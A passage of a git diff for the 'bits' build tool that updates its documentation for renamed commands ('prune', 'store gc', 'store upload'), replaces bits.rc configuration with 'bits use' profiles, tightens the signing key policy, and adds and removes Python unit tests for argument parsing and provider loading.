gc`) +bits store stats # per-arch/per-build usage report (was `bits store-stats`) +bits store upload # upload one built package to the store (was `publish --to s3`) +bits store rm # delete objects (narrowed selection required) +``` + +**`bits cvmfs `** — a deployed CVMFS tree and the producer-side publish pipeline: + +```bash +bits cvmfs platforms|show|summary # inspect a deployed tree (read-only) +bits cvmfs stage … # producer-side staging (was `bits cvmfs-stage`) +bits cvmfs publish … # producer-side staged publish (was `bits cvmfs-publish`) +``` + +The deprecated hyphenated names (`store-stats`, `cvmfs-stage`, `cvmfs-publish`) still +work for one release and warn; `bits gc` and `bits publish --to s3` were removed outright. + +### Confusing command pairs + +| Pair | Acts on | Which is which | +|---|---|---| +| `clean` vs `prune` | local build dir vs persistent workDir | `clean` wipes the build area; `prune` evicts old packages from a kept workDir | +| `prune` vs `store gc` | persistent workDir vs shared S3 store | `prune` is local disk/age eviction; `store gc` is reachability GC of the S3 store | +| `stats` vs `store stats` | local build logs vs S3 store | `stats` reports a monitored build; `store stats` summarises store usage | +| `publish` vs `store upload` | CVMFS vs S3 store | `publish` puts a package on CVMFS; `store upload` writes a tarball to the S3 reuse store | +| `publish` vs `cvmfs publish` | consumer vs producer side | `bits publish` is the consumer-facing CVMFS publish; `bits cvmfs publish` is the producer-side staged publish that feeds the gateway | + +--- + ### Work Directory Layout After `bits build ROOT` the work directory (`sw/` by default) has this structure: @@ -1547,7 +1553,7 @@ sw/ └── TARS//store/…/.sha256 ``` -`BUILD/` directories are removed after a successful build unless `--keep-tmp` is given. Use `bits clean` to remove stale `BUILD/` and `TMP/` trees, or `bits cleanup` to evict old packages from `/` and `TARS/` based on age or disk pressure. +`BUILD/` directories are removed after a successful build unless `--keep-tmp` is given. Use `bits clean` to remove stale `BUILD/` and `TMP/` trees, or `bits prune` to evict old packages from `/` and `TARS/` based on age or disk pressure. --- @@ -2642,12 +2648,12 @@ For each built dependency `DEP`, bits also sets `${DEP_ROOT}` to its absolute in | Variable | Default | Purpose | |----------|---------|---------| | `BITS_BRANDING` | _(empty)_ | Cosmetic program-name branding; set by the `aliBuild` wrapper. | -| `BITS_ORGANISATION` | _(empty)_ | Organisation selecting the registry/provider "home" repo. Empty by default; the `aliBuild` wrapper sets `ALICE`, or use `--organisation` / `bits.rc`. | +| `BITS_ORGANISATION` | _(empty)_ | Organisation selecting the registry/provider "home" repo. Empty by default; the `aliBuild` wrapper sets `ALICE`, or use `--organisation`. | | `BITS_PKG_PREFIX` | _(empty)_ | Display prefix for `bits q`. Empty prints native `PKG/VERSION`; when set (e.g. `VO_ALICE` via `aliBuild`) output becomes `PREFIX@PKG::VERSION`. | | `BITS_REPO_DIR` | `alidist` | Root directory for recipe repositories. | | `BITS_WORK_DIR` | `sw` | Output and work directory. | | `BITS_PATH` | _(empty)_ | Comma-separated list of additional recipe search directories. Absolute paths are used directly; relative names have `.bits` appended and are resolved under `BITS_REPO_DIR`. | -| `BITS_PROVIDERS` | `https://github.com/bitsorg/bits-providers` | URL(s) of the repository provider set to use. Can be set in the environment, in `bits.rc` as `providers = …`, or overridden per-run. The built-in default points to the official bits-providers repository. | +| `BITS_PROVIDERS` | `https://github.com/bitsorg/bits-providers` | URL(s) of the repository provider set to use. Can be set in the environment or overridden per-run with `--providers`. The built-in default points to the official bits-providers repository. | ### Environment module variables @@ -2774,23 +2780,31 @@ plus their named symlink objects. # Bulk: upload every package in the latest manifest. This is the default when # no PACKAGE is given, so bare `bits publish` is the whole-stack push: bits publish -bits publish --store https://s3.cern.ch/lcgapp-bits-testing # pick the bucket +bits publish --remote-store https://s3.cern.ch/lcgapp-bits-testing # pick the bucket bits publish --from-manifest /path/to/bits-manifest-XYZ.json # a specific manifest -# Single package (from its manifest entry): -bits publish ROOT --to s3 --write-store b3://lcgapp-bits-testing +# Single package to the S3 store (from its manifest entry): +bits store upload ROOT --remote-store b3://lcgapp-bits-testing # Preview without uploading (no credentials/network needed): bits publish --dry-run ``` +Modes: bare `bits publish` (or `--from-manifest`) bulk-uploads a build manifest to the +S3 store — the community push shown above. `bits publish PACKAGE --cvmfs-target … --prepub-url …` +publishes one package to CVMFS. The single-package S3-store write is now `bits store upload` +(the old `bits publish --to s3`, which is removed along with `--to`/`--write-store`). + `--dry-run` (`-n`) lists exactly what would be uploaded and to which store, without contacting S3 — handy to check the package set and target before pushing. -`--store` accepts an `https:///` URL (from which the boto3 endpoint -and path-style addressing are derived), or `b3://` / `s3://`; -default `https://s3.cern.ch/lcgapp-bits-testing`. `--from-manifest` also uploads -the manifest itself under `MANIFESTS/`, so a CI job can fetch and sign it. +`--remote-store` accepts an `https:///` URL (from which the boto3 +endpoint and path-style addressing are derived), or `b3://` / `s3://`. +It is the canonical store flag across `publish`, `certify`, `bits store` (`gc`/`stats`/ +`upload`) and `compliance`; the old `--store` spelling still works but is deprecated and warns. +The default is `$BITS_S3_STORE` if set, else `https://s3.cern.ch/lcgapp-bits-testing`. +`--from-manifest` also uploads the manifest itself under `MANIFESTS/`, so a CI job +can fetch and sign it. Under the current posture uploading requires only valid S3 keys, and unsigned manifests are trusted (reuse works without signatures). Signing becomes relevant @@ -2996,14 +3010,13 @@ Per-invocation: bits build --store-integrity --remote-store b3://mybucket/bits-cache::rw ROOT ``` -Persistent opt-in via `bits.rc` (recommended for teams that have adopted the feature): +Persistent opt-in for the current directory (recommended for teams that have adopted the feature): -```ini -[bits] -store_integrity = true +```bash +bits use build --store-integrity ``` -Accepted values for the config key: `true`, `1`, `yes` (case-insensitive). +This saves `--store-integrity` to the profile's `[build]` section so every `bits build` in this directory verifies recalled tarballs. #### Strict mode for CI (no unverified tarballs) @@ -3071,7 +3084,7 @@ content-hash match, so the build stays reproducible and publishable. `--reuse-policy relaxed` reuses any version present in the one-release overlay (matched via its `build_id`) — faster for local iteration, but **loose provenance**: the result is not reproducible from hash alone, so the **publish -path refuses it** (`--reuse-policy relaxed` with `--write-store` or `--pipeline` +path refuses it** (`--reuse-policy relaxed` with `--write-store` is rejected). The `::relaxed`/`::strict` suffix on `--reuse-from` sets the policy inline; an explicit `--reuse-policy` must agree with it. @@ -3134,7 +3147,7 @@ bits publish ROOT \ --no-relocate ``` -**Persistent workDir across CI jobs.** For communities that publish to CVMFS regularly, keeping the workDir alive between CI jobs (on a persistent build runner) turns `--cvmfs-prefix` into an incremental cache: only packages whose recipe or source changed are rebuilt; already-installed dependencies are reused from the previous run. The `bits cleanup` subcommand manages the cache size over time (see [§7 bits cleanup](#bits-cleanup--evict-packages-from-a-persistent-workdir)). +**Persistent workDir across CI jobs.** For communities that publish to CVMFS regularly, keeping the workDir alive between CI jobs (on a persistent build runner) turns `--cvmfs-prefix` into an incremental cache: only packages whose recipe or source changed are rebuilt; already-installed dependencies are reused from the previous run. The `bits prune` subcommand manages the cache size over time (see [§7 bits cleanup](#bits-cleanup--evict-packages-from-a-persistent-workdir)). --- diff --git a/docs/USERGUIDE.md b/docs/USERGUIDE.md index 62456ff2..9153d883 100644 --- a/docs/USERGUIDE.md +++ b/docs/USERGUIDE.md @@ -131,8 +131,10 @@ exit # return to your normal shell ### Another community (e.g. LHCb) — one-time setup ```bash -# Write community and work-directory to bits.rc once -bits init --organisation LHCB --work-dir /path/to/sw +# Select the community once (auto-bootstraps its recipe repo) and +# record the work directory in a per-directory profile +export BITS_ORGANISATION=LHCB +bits init --work-dir /path/to/sw # Then build as normal — bits auto-bootstraps the LHCb recipe repo bits build DaVinci @@ -152,38 +154,29 @@ bits build DaVinci ## 4. Configuration -Bits reads an optional INI-style configuration file at startup. Create one with `bits init`: +Record per-directory build settings once with `bits init` (given configuration options and no package), so you do not repeat them on every build: ```bash -bits init --organisation LHCB \ - --work-dir /path/to/sw \ +bits init --work-dir /path/to/sw \ --remote-store https://s3.cern.ch/swift/v1/mybucket ``` -This writes a `bits.rc` file in the current directory. You can also write it by hand (INI format, `[bits]` section): +This writes a `bits use` profile — `./.bitsuse` in the current directory, or a record under `~/.bits/use/` when the directory is not writeable. `--architecture` is saved to the profile's `[common]` section; `--remote-store`, `--write-store`, `--defaults`, `-c/--config-dir`, `-w/--work-dir` and `--reference-sources` are saved to `[build]`. `bits use` records the same kind of profile from any command's flags (e.g. `bits use build --docker`, or `bits use build --store-integrity` to enable SHA-256 verification of every recalled tarball). -```ini -[bits] -organisation = LHCB -work_dir = /path/to/sw -remote_store = https://s3.cern.ch/swift/v1/mybucket -``` - -`organisation` is written **uppercase** (`ALICE`, `LHCB`, …). Bits lowercases it internally when resolving the community recipe repository from bits-providers (e.g. `LHCB` → `lhcb.bits.sh` → `https://github.com/bitsorg/lhcb.bits`). +Global settings come from environment variables: -Bits looks for `bits.rc` in: `--rc-file FILE` → `./bits.rc` → `./.bitsrc` → `~/.bitsrc`. +| Variable | Related flag | Description | +|----------|--------------|-------------| +| `$BITS_ORGANISATION` | `--organisation` | Community name (uppercase). Used to auto-bootstrap the recipe repo. | +| `$BITS_WORK_DIR` | `-w` / `--work-dir` | Output directory for built packages (default: `sw`). | +| `$BITS_REPO_DIR` | `-c` / `--config-dir` | Root directory for recipe repositories. | +| `$BITS_PROVIDERS` | `--providers` | Repository provider set URL(s). | +| `$BITS_PATH` | `--search-path` | Recipe search path. | +| `$BITS_S3_STORE` | `--remote-store` (store ops) | Default S3 store for `bits store` (`gc`/`stats`/`upload`), `certify`, `publish`, `compliance`. | -Commonly used `[bits]` keys: +`$BITS_ORGANISATION` is set **uppercase** (`ALICE`, `LHCB`, …). Bits lowercases it internally when resolving the community recipe repository from bits-providers (e.g. `LHCB` → `lhcb.bits.sh` → `https://github.com/bitsorg/lhcb.bits`). -| Key | CLI flag | Description | -|-----|----------|-------------| -| `organisation` | `--organisation` | Community name (uppercase). Used to auto-bootstrap the recipe repo. | -| `work_dir` | `-w` / `--work-dir` | Output directory for built packages (default: `sw`). | -| `remote_store` | `--remote-store` | Binary store URL for pre-built tarball retrieval. | -| `write_store` | `--write-store` | Binary store URL for uploading newly built tarballs. | -| `store_integrity` | `--store-integrity` | `true` to enable SHA-256 verification of every recalled tarball. | - -Settings follow the precedence `CLI flag > environment variable > bits.rc value > built-in default`. For the full list of configuration keys, environment variables, and the organisation-section override mechanism, see [REFERENCE.md §19](REFERENCE.md#19-environment-variables). +Settings follow the precedence `CLI flag > bits use profile > environment variable > built-in default`. For the full list of environment variables and the organisation-section override mechanism, see [REFERENCE.md §19](REFERENCE.md#19-environment-variables). --- @@ -210,10 +203,9 @@ Bits resolves the full transitive dependency graph of each requested package, co |--------|-------------| | `--defaults PROFILE` | Defaults profile(s) to load. Combines multiple files with `::` (e.g. `--defaults release::myproject`). Default: `release`. | | `-j N`, `--jobs N` | Parallel compilation jobs per package. Default: CPU count. | -| `--builders N` | Number of packages to build simultaneously. Default: 1 (serial). With N>1 each build's `$JOBS` is divided across the builders (`-j ÷ N`) so the concurrent jobs together stay within one machine's worth of cores. | +| `--parallel [N]` | Number of packages to build simultaneously. Bare `--parallel` uses 4; omit it for serial (the default). With N>1 each build's `$JOBS` is divided across the builders (`-j ÷ N`) so the concurrent jobs together stay within one machine's worth of cores. (`--builders` is a kept alias.) | | `--build-nice` | Stagger concurrent builders across OS priority levels so CPU contention degrades gracefully — one build runs at full speed, the others are backed off, and the freed top slot is taken over as builds finish. Native builds use `nice`; `--docker` builds use `docker run --cpu-shares`. Opt-in; only affects `--builders > 1`. Memory is still capped separately. | | `--build-nice-step N` | Priority spread between concurrent build slots for `--build-nice` (slot *k* → nice `min(k×N, 19)`). `N=1` is a gentle ladder; larger separates slots more. Default: 5. | -| `--makeflow` | Hand the dependency graph to the external [Makeflow](https://ccl.cse.nd.edu/software/makeflow/) engine. Mutually exclusive with `--builders`. | | `--prefetch-workers N` | Background threads that fetch remote tarballs ahead of the build loop. Default: 0. | | `-u`, `--fetch-repos` | Update all source mirrors before building. | | `-w DIR`, `--work-dir DIR` | Work/output directory. Default: `sw`. | @@ -225,7 +217,7 @@ Bits resolves the full transitive dependency graph of each requested package, co | `--dry-run` | Print what would happen without executing. | | `--keep-tmp` | Preserve build directories after success (useful for debugging). | -For parallel build modes (`--builders`, `--makeflow`, `--pipeline`, `--prefetch-workers`, `--parallel-sources`) and Docker/cross-compilation options, see [REFERENCE.md §5](REFERENCE.md#5-building-packages) and [REFERENCE.md §22](REFERENCE.md#22-docker-support). +For parallel build modes (`--builders`, `--prefetch-workers`, `--parallel-sources`) and Docker/cross-compilation options, see [REFERENCE.md §5](REFERENCE.md#5-building-packages) and [REFERENCE.md §22](REFERENCE.md#22-docker-support). --- @@ -305,10 +297,13 @@ The default (non-aggressive) clean removes the `TMP/` staging area, stale `BUILD ### bits cleanup — evict packages from a persistent workDir -`bits cleanup` manages a long-lived, shared workDir by evicting packages that have not been used recently or when disk space falls below a threshold. It is intended for **persistent CI build caches** where packages accumulate over time. +> **Renamed to `bits prune`.** `bits cleanup` still works as a deprecated alias that +> warns and forwards; use `bits prune` in new scripts. + +`bits prune` manages a long-lived, shared workDir by evicting packages that have not been used recently or when disk space falls below a threshold. It is intended for **persistent CI build caches** where packages accumulate over time. ```bash -bits cleanup [options] +bits prune [options] ``` | Option | Default | Description | @@ -320,19 +315,19 @@ bits cleanup [options] | `--disk-pressure-only` | — | Run only the disk-pressure eviction pass; skip age-based eviction. | | `-n`, `--dry-run` | — | Show which packages would be evicted without removing anything. | -**How it works.** Every time a package is built or confirmed already installed, bits touches a *sentinel file* at `$WORK_DIR/.packages///`. The `cleanup` command reads these sentinels, sorts packages by last-touched time (oldest first), and evicts those that are too old or that need to be removed to recover disk space. +**How it works.** Every time a package is built or confirmed already installed, bits touches a *sentinel file* at `$WORK_DIR/.packages///`. The `prune` command reads these sentinels, sorts packages by last-touched time (oldest first), and evicts those that are too old or that need to be removed to recover disk space. **Typical usage patterns:** ```bash # Pre-build: free space if below 50 GiB, evicting LRU packages first -bits cleanup --min-free 50 --disk-pressure-only || true +bits prune --min-free 50 --disk-pressure-only || true # Nightly cron: evict packages not used in 7 days -bits cleanup --max-age 7 +bits prune --max-age 7 # See what would be removed without touching anything -bits cleanup --max-age 3 --min-free 100 --dry-run +bits prune --max-age 3 --min-free 100 --dry-run ``` --- diff --git a/docs/WORKFLOWS.md b/docs/WORKFLOWS.md index 98514628..c02fd1b1 100644 --- a/docs/WORKFLOWS.md +++ b/docs/WORKFLOWS.md @@ -119,7 +119,7 @@ After iterating on several packages, the workDir accumulates stale build directo ```bash bits clean # remove stale BUILD/ directories and TMP/ staging area -bits cleanup --max-age 14 # evict packages not used in the last 14 days +bits prune --max-age 14 # evict packages not used in the last 14 days (was `bits cleanup`) ``` --- diff --git a/keys/README.md b/keys/README.md index 203bbf8d..d224cdd6 100644 --- a/keys/README.md +++ b/keys/README.md @@ -51,10 +51,15 @@ group (the overall bits-admin key): ```json { "265bf1902ea0d4d9": ["*"], - "ab12cd34ef56gh78": ["lcg", "common"] + "ab12cd34ef56gh78": ["lcg", "common"], + "default": [] } ``` +The shipped `key-policy.json` includes `"default": []`, so the policy is +**strict**: enrol every trusted signing key here (with its groups), or its signed +entries are dropped by consumers. When you add a key to `keys/`, add it here too. + When present, this is enforced both when signing (`bits certify` refuses to sign a group the key isn't authorised for) and by every consumer (`trusted_index` drops entries a key wasn't authorised to vouch for, even if signed). When the diff --git a/keys/key-policy.json b/keys/key-policy.json index 0305e2cd..84bf267c 100644 --- a/keys/key-policy.json +++ b/keys/key-policy.json @@ -1,3 +1,4 @@ { - "265bf1902ea0d4d9": ["*"] + "265bf1902ea0d4d9": ["*"], + "default": [] } diff --git a/mkdocs.yml b/mkdocs.yml index a4bc6f97..1888a45b 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -18,6 +18,3 @@ nav: - Workflows: WORKFLOWS.md - Reference: REFERENCE.md - Roadmap: ROADMAP.md - - Design (ADR): - - Relaxed CVMFS reuse: adr/0001-cvmfs-relaxed-reuse.md - - Implementation plan: adr/0001-implementation-plan.md diff --git a/pyproject.toml b/pyproject.toml index 2bf732f3..d7790a2d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -35,6 +35,7 @@ dependencies = [ 'jinja2', 'boto3', 'cryptography', + 'qrcode', ] [project.optional-dependencies] diff --git a/requirements.txt b/requirements.txt index d6edef8a..671a97ea 100644 --- a/requirements.txt +++ b/requirements.txt @@ -4,4 +4,5 @@ distro jinja2 boto3 botocore +qrcode diff --git a/tests/test_alibuild_compat.py b/tests/test_alibuild_compat.py new file mode 100644 index 00000000..09783028 --- /dev/null +++ b/tests/test_alibuild_compat.py @@ -0,0 +1,92 @@ +# SPDX-FileCopyrightText: 2026 CERN +# SPDX-License-Identifier: GPL-3.0-or-later +"""Phase-0 consolidation negative control: the minimal aliBuild wrapper contract. + +The ``aliBuild`` wrapper (``bits/aliBuild``) sets a fixed set of environment +variables and ``exec``s ``bits "$@"`` — it never reads a config file. These tests +assert the Python argument layer still honours that contract for the essential +command set the community runs through the wrapper (``build``, ``doctor``, +``init``, ``deps``, ``version``), so any consolidation refactor that breaks +aliBuild compatibility fails here rather than in production. + +The alidist recipe/hash path itself (legacy init.sh, byte-stable hashing) is +covered by test_hashing.py / test_legacy_initdotsh.py / test_initdotsh_diff.py; +this file is the CLI/env-contract half of the guardrail. +""" +import os +import sys +import unittest +from unittest.mock import patch + +from bits_helpers.args import doParseArgs + +# Exactly what bits/aliBuild exports before exec'ing bits. +_ALIBUILD_ENV = { + "BITS_BRANDING": "aliBuild", + "BITS_ORGANISATION": "ALICE", + "BITS_PKG_PREFIX": "VO_ALICE", + "BITS_LEGACY_INITDOTSH": "1", + "BITS_REPO_DIR": "alidist", +} + +# The minimal command set the wrapper must keep offering. +_MINIMAL_COMMANDS = { + "version": ["version"], + "build": ["build", "--force-unknown-architecture", "zlib"], + "doctor": ["doctor", "zlib"], + "init": ["init", "zlib"], + "deps": ["deps", "zlib"], +} + + +def _parse(argv): + sys.argv = ["aliBuild"] + argv + args, _ = doParseArgs() + return args + + +class AliBuildMinimalWrapperTest(unittest.TestCase): + """Env contract the aliBuild wrapper relies on must keep working.""" + + def setUp(self): + self._env = patch.dict(os.environ, _ALIBUILD_ENV, clear=False) + self._env.start() + # These would otherwise mask the aliBuild defaults under test. + for k in ("BITS_PATH", "BITS_PROVIDERS"): + os.environ.pop(k, None) + + def tearDown(self): + self._env.stop() + + def test_minimal_command_set_parses_and_dispatches(self): + for action, argv in _MINIMAL_COMMANDS.items(): + with self.subTest(command=action): + self.assertEqual(_parse(argv).action, action) + + def test_build_uses_alidist_config_dir(self): + # $BITS_REPO_DIR seeds the --config-dir default (classic alidist layout). + args = _parse(["build", "--force-unknown-architecture", "zlib"]) + self.assertEqual(args.configDir, "alidist") + + def test_organisation_from_env(self): + # $BITS_ORGANISATION selects the registry/provider home for build too. + args = _parse(["build", "--force-unknown-architecture", "zlib"]) + self.assertEqual(getattr(args, "organisation", None), "ALICE") + + def test_alibuild_defaults_to_no_provider_bootstrap(self): + # Legacy aliBuild path: recipes come from a local alidist checkout, so the + # built-in bits-providers default is OFF (empty) unless BITS_PROVIDERS is set. + args = _parse(["build", "--force-unknown-architecture", "zlib"]) + self.assertEqual(args.bits_providers, "") + + def test_explicit_providers_still_wins_under_alibuild(self): + os.environ["BITS_PROVIDERS"] = "https://example.com/p" + try: + args = _parse(["build", "--force-unknown-architecture", "zlib"]) + self.assertEqual(args.bits_providers, "https://example.com/p") + finally: + os.environ.pop("BITS_PROVIDERS", None) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_always_on_providers.py b/tests/test_always_on_providers.py index d15b432c..f4c1c46f 100644 --- a/tests/test_always_on_providers.py +++ b/tests/test_always_on_providers.py @@ -4,7 +4,6 @@ """Tests for the always-on provider loading machinery. Covers: - - _read_bits_rc(): searches bits.rc search paths; returns [bits] section - _parse_provider_url(): splits url@tag; defaults tag to "main" - _make_bits_providers_spec(): correct spec shape and constant fields - load_always_on_providers(): @@ -16,6 +15,7 @@ import os import shutil +import subprocess import sys import tempfile import textwrap @@ -115,88 +115,6 @@ def test_default_tag_main(self): self.assertEqual(spec["tag"], "main") -# --------------------------------------------------------------------------- -# _read_bits_rc -# --------------------------------------------------------------------------- - -class TestReadBitsRc(unittest.TestCase): - """Tests for args._read_bits_rc() and its search-path logic.""" - - def setUp(self): - self.tmp = tempfile.mkdtemp() - self._orig_cwd = os.getcwd() - os.chdir(self.tmp) - - def tearDown(self): - os.chdir(self._orig_cwd) - shutil.rmtree(self.tmp, ignore_errors=True) - - def _write_rc(self, filename, content): - path = os.path.join(self.tmp, filename) - with open(path, "w") as fh: - fh.write(textwrap.dedent(content)) - return path - - def _read_bits_rc(self): - # Import fresh each time so _BITS_RC_SEARCH_PATHS is re-evaluated - # with the current working directory. - from bits_helpers.args import _read_bits_rc - return _read_bits_rc() - - def test_returns_empty_dict_when_no_rc_file(self): - result = self._read_bits_rc() - # May include user's ~/.bitsrc if present; we only assert type. - self.assertIsInstance(result, dict) - - def test_reads_bits_section(self): - self._write_rc("bits.rc", """ - [bits] - providers = https://github.com/org/recipes.git - sw_dir = /opt/sw - """) - result = self._read_bits_rc() - self.assertEqual(result.get("providers"), "https://github.com/org/recipes.git") - self.assertEqual(result.get("sw_dir"), "/opt/sw") - - def test_ignores_other_sections(self): - self._write_rc("bits.rc", """ - [other] - key = value - """) - result = self._read_bits_rc() - self.assertNotIn("key", result) - - def test_bits_rc_takes_priority_over_bitsrc(self): - self._write_rc("bits.rc", """ - [bits] - providers = from-bits-rc - """) - self._write_rc(".bitsrc", """ - [bits] - providers = from-bitsrc - """) - result = self._read_bits_rc() - self.assertEqual(result.get("providers"), "from-bits-rc") - - def test_falls_back_to_bitsrc_when_bits_rc_absent(self): - self._write_rc(".bitsrc", """ - [bits] - providers = from-bitsrc - """) - result = self._read_bits_rc() - self.assertEqual(result.get("providers"), "from-bitsrc") - - def test_keys_are_lowercase(self): - self._write_rc("bits.rc", """ - [bits] - Providers = https://example.com/repo.git - """) - result = self._read_bits_rc() - # configparser lower-cases keys by default - self.assertIn("providers", result) - self.assertNotIn("Providers", result) - - # --------------------------------------------------------------------------- # load_always_on_providers # --------------------------------------------------------------------------- @@ -515,5 +433,86 @@ def test_repository_position_forwarded_to_bits_path(self, mock_clone, mock_add): ) +class TestLocalProviderShadowing(unittest.TestCase): + """A declared provider that is also checked out locally in config_dir is + used from that checkout instead of being cloned.""" + + @staticmethod + def _git(d, *args): + subprocess.run(["git", "-C", d, *args], check=True, + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + + def setUp(self): + self.tmp = tempfile.mkdtemp() + self.config_dir = os.path.join(self.tmp, "cfg") + self.work_dir = os.path.join(self.tmp, "sw") + self.ref_dir = os.path.join(self.tmp, "mirror") + for d in (self.config_dir, self.work_dir, self.ref_dir): + os.makedirs(d) + # A declared provider recipe, plus a local checkout named after it. + _make_provider_sh(self.config_dir, "myprov.bits", + "https://invalid.example/nope.git") + self.local = os.path.join(self.config_dir, "myprov.bits") + os.makedirs(self.local) + with open(os.path.join(self.local, "foo.sh"), "w") as fh: + fh.write('package: "foo"\nversion: "1"\n---\n') + self._git(self.local, "init", "-q") + self._git(self.local, "config", "user.email", "t@t") + self._git(self.local, "config", "user.name", "t") + self._git(self.local, "add", "-A") + self._git(self.local, "commit", "-qm", "init") + self._saved_path = os.environ.pop("BITS_PATH", None) + + def tearDown(self): + shutil.rmtree(self.tmp, ignore_errors=True) + os.environ.pop("BITS_PATH", None) + if self._saved_path is not None: + os.environ["BITS_PATH"] = self._saved_path + + def _load(self, **kw): + return load_always_on_providers( + config_dir=self.config_dir, work_dir=self.work_dir, + reference_sources=self.ref_dir, fetch_repos=False, **kw) + + @patch("bits_helpers.repo_provider.clone_or_update_provider") + def test_local_checkout_used_instead_of_clone(self, mock_clone): + result = self._load() + mock_clone.assert_not_called() + self.assertIn(self.local, result) + pkg, commit = result[self.local] + self.assertEqual(pkg, "myprov.bits") + self.assertRegex(commit, r"^[0-9a-f]{7,40}$") + self.assertIn(self.local, os.environ.get("BITS_PATH", "").split(",")) + + @patch("bits_helpers.repo_provider.clone_or_update_provider") + def test_force_tracked_falls_back_to_clone(self, mock_clone): + clone_dir = os.path.join(self.work_dir, "clone") + os.makedirs(clone_dir, exist_ok=True) + mock_clone.return_value = (clone_dir, "deadbeef") + result = self._load(force_tracked=True) + mock_clone.assert_called_once() + self.assertNotIn(self.local, result) + + @patch("bits_helpers.repo_provider.clone_or_update_provider") + def test_dirty_checkout_marked(self, mock_clone): + with open(os.path.join(self.local, "untracked.sh"), "w") as fh: + fh.write("x") + _, commit = self._load()[self.local] + mock_clone.assert_not_called() + self.assertTrue(commit.endswith("-dirty")) + + def test_local_provider_dir_helper(self): + from bits_helpers.repo_provider import _local_provider_dir + self.assertEqual(_local_provider_dir(self.config_dir, "myprov.bits"), + self.local) + self.assertIsNone(_local_provider_dir(self.config_dir, "nonexistent.bits")) + + def test_non_git_dir_hashes_to_local(self): + from bits_helpers.repo_provider import _local_provider_hash + plain = os.path.join(self.tmp, "plaindir") + os.makedirs(plain) + self.assertEqual(_local_provider_hash(plain), "local") + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_analytics.py b/tests/test_analytics.py deleted file mode 100644 index 2e1c6ee2..00000000 --- a/tests/test_analytics.py +++ /dev/null @@ -1,46 +0,0 @@ -# SPDX-FileCopyrightText: 2015-2026 CERN -# SPDX-License-Identifier: GPL-3.0-or-later - -import unittest -from bits_helpers.analytics import decideAnalytics - -def noAnalytics(): - return False - -def yesAnalytics(): - return True - -def notInvoked() -> None: - assert(False) - -@unittest.skip("Analytics are currently disabled") -class TestAnalytics(unittest.TestCase): - def test_analytics(self) -> None: - self.assertEqual(False, decideAnalytics(hasDisableFile=False, - hasUuid=False, - isTty=False, - questionCallback=notInvoked)) - self.assertEqual(False, decideAnalytics(hasDisableFile=False, - hasUuid=False, - isTty=True, - questionCallback=noAnalytics)) - self.assertEqual(True, decideAnalytics(hasDisableFile=False, - hasUuid=False, - isTty=True, - questionCallback=yesAnalytics)) - self.assertEqual(True, decideAnalytics(hasDisableFile=False, - hasUuid=True, - isTty=False, - questionCallback=notInvoked)) - self.assertEqual(True, decideAnalytics(hasDisableFile=False, - hasUuid=True, - isTty=True, - questionCallback=yesAnalytics)) - self.assertEqual(False, decideAnalytics(hasDisableFile=True, - hasUuid=False, - isTty=True, - questionCallback=yesAnalytics)) - - -if __name__ == '__main__': - unittest.main() diff --git a/tests/test_args.py b/tests/test_args.py index de6b94c0..f4b738d2 100644 --- a/tests/test_args.py +++ b/tests/test_args.py @@ -29,7 +29,7 @@ "build --force-unknown-architecture zlib --foo": 'unrecognized arguments: --foo', "init --docker-image": 'unrecognized arguments: --docker-image', "builda --force-unknown-architecture zlib" : "argument action: invalid choice: 'builda'.*", - "build --force-unknown-architecture zlib --no-system --always-prefer-system" : 'argument --always-prefer-system: not allowed with argument --no-system', + "build --force-unknown-architecture zlib --no-system --always-prefer-system" : 'argument --prefer-system/--always-prefer-system: not allowed with argument --no-system', "build zlib --architecture foo": ARCHITECTURE_ERROR, "build --force-unknown-architecture zlib --remote-store rsync://test1.local/::rw --write-store rsync://test2.local/::rw ": 'cannot specify ::rw and --write-store at the same time', "build zlib -a osx_x86-64 --docker-image foo": 'cannot use `-a osx_x86-64` and --docker', @@ -89,7 +89,7 @@ class FakeExit(Exception): } class ArgsTestCase(unittest.TestCase): - @mock.patch("bits_helpers.utilities.getoutput", new=lambda cmd: "x86_64") # for uname -m + @mock.patch("bits_helpers.arch.getoutput", new=lambda cmd: "x86_64") # for uname -m @mock.patch("bits_helpers.args._host_online_cpus", return_value=_MOCK_CPUSET) # Neutralise the host-dependent --memory/--memory-swap docker injection so # the exact docker_extra_args expectations below hold on any test host @@ -107,7 +107,7 @@ def test_actionParsing(self, mock_commands, _mock_mem, _mock_cpus): for k, v in effects: self.assertEqual(args[k], v) - @mock.patch("bits_helpers.utilities.getoutput", new=lambda cmd: "x86_64") # for uname -m + @mock.patch("bits_helpers.arch.getoutput", new=lambda cmd: "x86_64") # for uname -m @mock.patch('bits_helpers.args.argparse.ArgumentParser.error') def test_failingParsing(self, mock_print): mock_print.side_effect = FakeExit("raised") @@ -135,7 +135,7 @@ class CpusetInjectionTestCase(unittest.TestCase): def _parse(self, cmd, cpuset_return="0-7"): """Helper: parse a build command with a mocked _host_online_cpus.""" - with mock.patch("bits_helpers.utilities.getoutput", return_value="x86_64"), \ + with mock.patch("bits_helpers.arch.getoutput", return_value="x86_64"), \ mock.patch("bits_helpers.args._host_online_cpus", return_value=cpuset_return), \ mock.patch("bits_helpers.args._docker_memory_args", return_value=[]), \ mock.patch("bits_helpers.args.commands") as mock_cmd, \ @@ -236,7 +236,7 @@ def test_env_override_off(self): def test_user_memory_flag_suppresses_injection(self): # Parse-level: a user-supplied --memory* in --docker-extra-args wins. - with mock.patch("bits_helpers.utilities.getoutput", return_value="x86_64"), \ + with mock.patch("bits_helpers.arch.getoutput", return_value="x86_64"), \ mock.patch("bits_helpers.args._host_online_cpus", return_value="0-7"), \ mock.patch("bits_helpers.args._docker_memory_args", return_value=["--memory=59g", "--memory-swap=59g"]), \ @@ -250,7 +250,7 @@ def test_user_memory_flag_suppresses_injection(self): def test_injected_when_absent(self): # Parse-level: the helper's flags land in docker_extra_args by default. - with mock.patch("bits_helpers.utilities.getoutput", return_value="x86_64"), \ + with mock.patch("bits_helpers.arch.getoutput", return_value="x86_64"), \ mock.patch("bits_helpers.args._host_online_cpus", return_value="0-7"), \ mock.patch("bits_helpers.args._docker_memory_args", return_value=["--memory=59g", "--memory-swap=59g"]), \ @@ -283,7 +283,7 @@ class ReusePolicyArgsTestCase(unittest.TestCase): """ADR-0001 relaxed-reuse CLI flags parse and default safely.""" def _parse(self, 